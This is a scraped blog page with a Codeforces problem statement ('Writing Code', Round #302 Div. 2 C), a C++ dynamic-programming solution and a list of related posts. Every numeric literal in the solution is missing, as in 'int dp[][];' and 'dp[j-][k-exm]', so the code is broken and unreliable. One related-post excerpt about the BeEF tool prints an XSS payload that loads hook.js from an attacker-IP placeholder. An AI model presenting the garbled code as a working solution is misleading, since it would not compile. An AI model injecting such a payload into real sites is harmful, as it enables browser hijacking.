C. Writing Code
time limit per test

3 seconds

memory limit per test

256 megabytes

input

standard input

output

standard output

Programmers working on a large project have just received a task to write exactly m lines of code. There are n programmers working on a project, the i-th of them makes exactly ai bugs in every line of code that he writes.

Let's call a sequence of non-negative integers v1, v2, ..., vn a plan, if v1 + v2 + ... + vn = m. The programmers follow the plan like that: in the beginning the first programmer writes the first v1 lines of the given task, then the second programmer writes v2 more lines of the given task, and so on. In the end, the last programmer writes the remaining lines of the code. Let's call a plan good, if all the written lines of the task contain at most b bugs in total.

Your task is to determine how many distinct good plans are there. As the number of plans can be large, print the remainder of this number modulo given positive integer mod.

Input

The first line contains four integers nmbmod (1 ≤ n, m ≤ 500, 0 ≤ b ≤ 500; 1 ≤ mod ≤ 109 + 7) — the number of programmers, the number of lines of code in the task, the maximum total number of bugs respectively and the modulo you should use when printing the answer.

The next line contains n space-separated integers a1, a2, ..., an (0 ≤ ai ≤ 500) — the number of bugs per line for each programmer.

Output

Print a single integer — the answer to the problem modulo mod.

Examples
input
3 3 3 100
1 1 1
output
10
input
3 6 5 1000000007
1 2 3
output
0
input
3 5 6 11
1 2 1
output
0
 #pragma comment(linker, "/STACK:1024000000,1024000000")
#include<iostream>
#include<cstdio>
#include<cmath>
#include<string>
#include<queue>
#include<algorithm>
#include<stack>
#include<cstring>
#include<vector>
#include<list>
#include<set>
#include<map>
#include<bitset>
#include<time.h>
using namespace std;
int dp[][];
int n,m,b,mod;
int main(){
scanf("%d %d %d %d",&n,&m,&b,&mod);
dp[][]=;
int exm;
for(int i=;i<=n;i++){
scanf("%d",&exm);
for(int j=;j<=m;j++){
for(int k=exm;k<=b;k++)
dp[j][k]=(dp[j][k]+dp[j-][k-exm])%mod;
}
}
int ans=;
for(int i=;i<=b;i++)
ans=(ans+dp[m][i])%mod;
printf("%d\n",ans);
return ;
}

Codeforces Round #302 (Div. 2) C 简单dp的更多相关文章

  1. Codeforces Round #271 (Div. 2) D 简单dp

    D. Flowers time limit per test 1.5 seconds memory limit per test 256 megabytes input standard input ...

  2. 完全背包 Codeforces Round #302 (Div. 2) C Writing Code

    题目传送门 /* 题意:n个程序员,每个人每行写a[i]个bug,现在写m行,最多出现b个bug,问可能的方案有几个 完全背包:dp[i][j][k] 表示i个人,j行,k个bug dp[0][0][ ...

  3. 构造 Codeforces Round #302 (Div. 2) B Sea and Islands

    题目传送门 /* 题意:在n^n的海洋里是否有k块陆地 构造算法:按奇偶性来判断,k小于等于所有点数的一半,交叉输出L/S 输出完k个L后,之后全部输出S:) 5 10 的例子可以是这样的: LSLS ...

  4. 水题 Codeforces Round #302 (Div. 2) A Set of Strings

    题目传送门 /* 题意:一个字符串分割成k段,每段开头字母不相同 水题:记录每个字母出现的次数,每一次分割把首字母的次数降为0,最后一段直接全部输出 */ #include <cstdio> ...

  5. Codeforces Round #302 (Div. 2) C. Writing Code 简单dp

    C. Writing Code Time Limit: 20 Sec  Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/544/prob ...

  6. Codeforces Round #367 (Div. 2)---水题 | dp | 01字典树

    A.Beru-taxi 水题:有一个人站在(sx,sy)的位置,有n辆出租车,正向这个人匀速赶来,每个出租车的位置是(xi, yi) 速度是 Vi;求人最少需要等的时间: 单间循环即可: #inclu ...

  7. Codeforces Round #278 (Div. 1) B - Strip dp+st表+单调队列

    B - Strip 思路:简单dp,用st表+单调队列维护一下. #include<bits/stdc++.h> #define LL long long #define fi first ...

  8. Codeforces Round #302 (Div. 2).C. Writing Code (dp)

    C. Writing Code time limit per test 3 seconds memory limit per test 256 megabytes input standard inp ...

  9. Codeforces Round #302 (Div. 1) C - Remembering Strings 状压dp

    C - Remembering Strings 思路:最关键的一点是字符的个数比串的个数多. 然后就能状压啦. #include<bits/stdc++.h> #define LL lon ...

随机推荐

  1. XSS工具

    1.BEEF KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入 ...

  2. Windows环境下,从零开始搭建Nodejs+Express+Ejs框架(二)---安装Express,ejs

    安装Express,ejs的前提是一定要先安装nodejs,具体安装方法请查看 http://www.cnblogs.com/tfiremeteor/p/8973105.html 安装Express和 ...

  3. 软件工程-东北师大站-第八次作业(PSP)

    1.本周PSP 2.本周进度条 3.本周累计进度图 代码累计折线图 博文字数累计折线图 4.本周PSP饼状图

  4. 图层损坏 E/ArcGIS﹕ The map or layer has been destroyed or recycled. 资源未释放

    看到论坛上有个网友和我一样的问题: The map or layer has been destroyed or recyled t Hello, I have a problem when the ...

  5. POJ 2441 Arrange the Bulls 状压dp

    题目链接: http://poj.org/problem?id=2441 Arrange the Bulls Time Limit: 4000MSMemory Limit: 65536K 问题描述 F ...

  6. 团队作业4--第一项目冲刺3(Aplpha)

    1.会议 第三次会议: ①:总结前两天出现的问题 ②:总结前端学习的心得 ③:安排后两天任务 2.任务安排 3.任务分解图 4.燃尽图 5.适当的项目程序/模块的最新(运行)截图 6.心得 组员之间要 ...

  7. profibus 的DPV0 和DPV1

    DP的功能经过扩展,一共有3个版本:DP-V0,DP-V1和DP-V2.有的用户手册将DP-V1简写为DPV1. 1.基本功能(DP-V0) (1)总线访问方法:各主站之间为令牌传送,主站与从站间为主 ...

  8. scp命令与Screen服务的区别

    scp:远程传输命令.(通过网络传送给其他主机,又恰好两台主机都是linux系统,便可以使用scp传输文件) 参数 作痛 -v 先是详细的连接进度 -P 指定远程主机的sshd端口号 -r 传送文件夹 ...

  9. 软工网络15团队作业8——Beta阶段敏捷冲刺(Day5)

    提供当天站立式会议照片一张 每个人的工作 1.讨论项目每个成员的昨天进展 赵铭: 进一步数据整理,写入数据库. 吴慧婷:主页面.查单词页面的改进.背单词界面改进. 陈敏: 单词学习功能及该界面按钮功能 ...

  10. linux_添加定时任务,每5min清理下某个文件夹下的文件

    性能测试的过程中会生成大量的日志文件,导致无法继续进行,linux可以增加一个定时任务,进行定时清理 1. 先编写一个sh脚本,该sh脚本用于文件夹文件清理,脚本编写完成后拷贝到服务器上,且授予权限 ...